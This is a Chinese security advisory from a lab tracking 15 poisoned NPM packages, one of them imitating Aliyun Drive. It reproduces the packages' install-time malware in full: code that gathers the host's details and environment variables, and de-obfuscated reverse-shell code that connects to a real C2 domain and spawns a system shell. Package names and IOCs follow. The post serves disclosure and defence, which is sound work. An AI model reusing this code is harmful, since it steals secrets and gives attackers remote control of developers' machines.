小心恶意NPM包让你成为51Pwn的肉鸡

10月31日,墨菲安全实验室监测到名为hktalent的开发者在NPM中央仓库发布了aliyundrive、spring-projects 等15个NPM投毒包,组件包通过混淆进行反检测,开发者难以发现隐藏的恶意代码。

其中 aliyundrive 组件包仿冒了阿里云盘名称,国内用户开发者在使用阿里云盘过程中有可能中招。

当用户安装时会窃取用户的操作系统、网络接口、主机等敏感信息,并与攻击者可控的C2服务器建立反弹shell,攻击者可远程在用户主机上执行任意系统命令。

目前NPM官方源尚未下架投毒包,建议用户及时排查,防止安装使用投毒组件。

投毒包详细分析

以 spring-projects 投毒包为例,当用户安装时会执行 package.json 中的 script 代码:"init": "node ./scripts/init.js",进而调用 script/rsh.js 中的恶意代码。

恶意代码的第一部分主要用于收集系统信息,在以下代码中用//进行注释说明:

//script/rsh.js
//第一部分
var os = require("os"),
    zlib = require("zlib"),
    bs = "u0062u0061u0073u0065u0036u0034",
filterNet = (o) => {
    var oR = {};
    for (var k in o) {
        if ("lo0" == k) continue;
        for (var i in o[k]) {
            if ("127.0.0.1" == o[k][i]["address"]) continue;
            if (o[k][i]["family"] == "IPv4" && o[k][i]["address"]) {
                oR[k] = o[k][i]
                break;
            }
        }
    }
    return oR;
},
rmKeys = (o, ...keys) => {
    for (var k in keys) {
        delete o[keys[k]];
    }
    return o;
},pkg =JSON.parse(require("fs").readFileSync("package.json").toString("utf8")),
zS = (s) =>zlib.brotliCompressSync(s, { level: 11, windowBits: 15, quality: 11 }).toString(bs),
zO = (o) => zS(JSON.stringify(o, null, 2)),
uS = (s) => zlib.brotliDecompressSync(Buffer.from(s, bs)).toString(),
o = {
    "name": pkg.name,          //软件包的名称
    "version": pkg.version,    //软件包的版本号
    "pwd": process.cwd(),      //当前工作目录的路径
    "env": process.env,        //Node.js 进程的环境变量
    "platform": os.platform(), //操作系统的名称
    "arch": os.arch(),         //CPU 架构
    "release": os.release(),   //操作系统版本的发行号
    "type": os.type(),         //操作系统类型
    "uptime": os.uptime(),     //计算机的运行时间
    "hostname": os.hostname(), //计算机的主机名
    "cpus": [os.cpus().length, rmKeys(os.cpus()[0], "times")],    //CPU 信息
    "networkInterfaces": filterNet(os.networkInterfaces()),       //网口信息
    "freemem": os.freemem(),    //可用的物理内存
    "totalmem": os.totalmem(),  //总物理内存量
    "userInfo": os.userInfo()   //当前用户的信息
};
//第二部分
let s = zO(o), u0073u0031 =uS(`G/sCIJwHtg1sfVPqObPQC6WsmlPZnVOfAqCQlUG+AJay52WlQRR23HYKiwLI/7ncvQM75zP689ZqjKlrgZVYcYBp1gM8R5zV4glyFKt+CPgOAIT7ekBlFUzW87zjyA6CooEMdzcFs33O/t2tAXawBJUI9pOdw8hOkS4DYLG9xHRAeDZ5ZXbs1oL+Z+k+M2aA4HzxpZD/VAbL7E8erim7UfCx9F/Y4+yCKMrUklhDVFoCdwwQYsUTOxl/nc+gLuTlglxBdupg+2xUfQt7zegHtGsz5GkVkFMdVd6qgszOQWOzY8FtLc/U7KSvB2Q4l4yGpcavIeSsCiZV7YQM5X3KWTMz8v1g55Yld/RldQTkyU91zlOFCeelQqC8qAIL4vEXNhgs2suqFHoQstfjXJpvHFgV0v7Bf8f7X38+oji8qZQUEG8LimNT5MDFKHJ5efBeZkZVIAKCp7gdzI60KAs=`);
u0070u0072u006Fu0063u0065u0073u0073.u0065u006Eu0076.u004Eu004Fu0044u0045u005Fu004Eu004Fu005Fu0045u0056u0041u004C = undefined;
u0065u0076u0061u006C(u0073u0031);

进而将收集的主机敏感信息发送到攻击者可控的服务器地址:

小心恶意NPM包让你成为51Pwn的肉鸡

恶意代码的第二部分通过Unicode编码进行混淆,经过反混淆后的代码为:

var config = {
    host: "rsh.51pwn.com",
    port: 8880
    },net = require("net"),
    cp = require("child_process"),client = new net.Socket(),
    reConn = () => {client.connect(config.port, config.host)};
client.on("connect", () => {
    var command = (process.platform === "win32" ? "cmd /c start /b cmd" : "/bin/sh").split(" "),
    sh = cp.spawn(command[0], command.slice(1));
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
    client.write("51pwn_npmn");
    client.write(s + "n");
    sh.on("exit", (code) => {
        if (code === 1) {
            reConn()
        }
    })
});
client.on("close", () => {reConn()});client.on("error", (e) => {});
reConn();
process.on("exit", () => {process.exitCode = 0;reConn()});

代码会与攻击者可控的C2服务器建立反弹shell,进而接收攻击者可控的系统命令:

小心恶意NPM包让你成为51Pwn的肉鸡

攻击者的C2服务器接收到受害者主机的反弹shell

涉及投毒包

包名版本
xterm-addon-clipboard[6.0.2,6.0.4]
rocketmq-site[6.0.2,6.0.4]
aliyundrive[6.0.3,6.0.4]
commons-skin[3.0.2,6.0.4]
echarts-www[3.0.2,6.0.4]
linkis-website[3.0.2,6.0.4]
scan4all[3.0.0,6.0.4]
spring-projects[6.0.2,6.0.4]
www-site[3.0.2,6.0.4]
unieap[2.2.1,6.0.4]
unieap-android[2.2.1,6.0.4]
unieap-cloud[2.2.1,6.0.4]
unieap-ios[2.2.1,6.0.4]
yinhai[3.0.2,6.0.4]
unieap-spring[2.2.1,6.0.4]

IOC地址

域名IP
rsh.51pwn.com65.49.208.113

参考链接

  • https://github.com/hktalent/51Pwn-Platform
(0)
上一篇 2023年10月7日 下午8:28
下一篇 2024年4月1日 下午5:55

相关推荐

  • com.graphql-java:graphql-java 组件安全漏洞及健康度分析

    文章更新时间:2023-09-27 16:20 组件简介 维护者 graphql-java 组织 许可证类型 MIT 首次发布 2018 年 6 月 4 日 最新发布时间 2021 年 5 月 23 日 GitHub Star 5933 GitHub Fork 1118 依赖包 365 依赖存储库 1,689 com.graphql-java:graphql…

    2023年9月27日
    0
  • com.ibm.icu:icu4j 组件安全漏洞及健康度分析

    文章更新时间:2023-09-28 11:20 组件简介 维护者 unicode-org 组织 许可证类型 Unicode-TOU,ICU 首次发布 2006 年 2 月 21 日 最新发布时间 2023 年 6 月 13 日 GitHub Star 2136 GitHub Fork 692 依赖包 699 依赖存储库 6,271 com.ibm.icu:i…

    2023年9月28日
    0
  • org.apache.avro:avro 组件安全漏洞及健康度分析

    文章更新时间:2023-09-18 16:30 组件简介 维护者 apache 组织 许可证类型 Apache-2.0 首次发布 2010 年 9 月 3 日 最新发布时间 2023 年 7 月 3 日 GitHub Star 2578 GitHub Fork 1517 依赖包 1,933 依赖存储库 15,858 描述:Avro 是一个独立于语言、基于架构…

    2023年9月18日
    0
  • 首起针对国内金融企业的开源组件投毒攻击事件

    简述 2023年8月9日,墨菲监控到用户名为 snugglejack_org (邮件地址:SnuggleBearrxx@hotmail.com)的用户发布到 NPM 仓库中的 ws-paso-jssdk 组件包具有发向 https://ql.rustdesk[.]net 的可疑流量,经过确认该组件包携带远控脚本,从攻击者可控的 C2 服务器接收并执行系统命令…

    2023年8月18日
    0
  • npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

    一、事件简述 1月5日,有开发者在 twitter 中发文称遭遇了名为 chalk-next 的组件投毒事件,该组件存在收集配置信息和删除本地文件的恶意逻辑,当前 NPM 仓库已经下线了该组件。 chalk-next 组件的开发者也是 vue-admin-beautiful 项目的作者 chuzhixin,vue-admin-beautiful 项目在 Gi…

    2023年8月9日
    0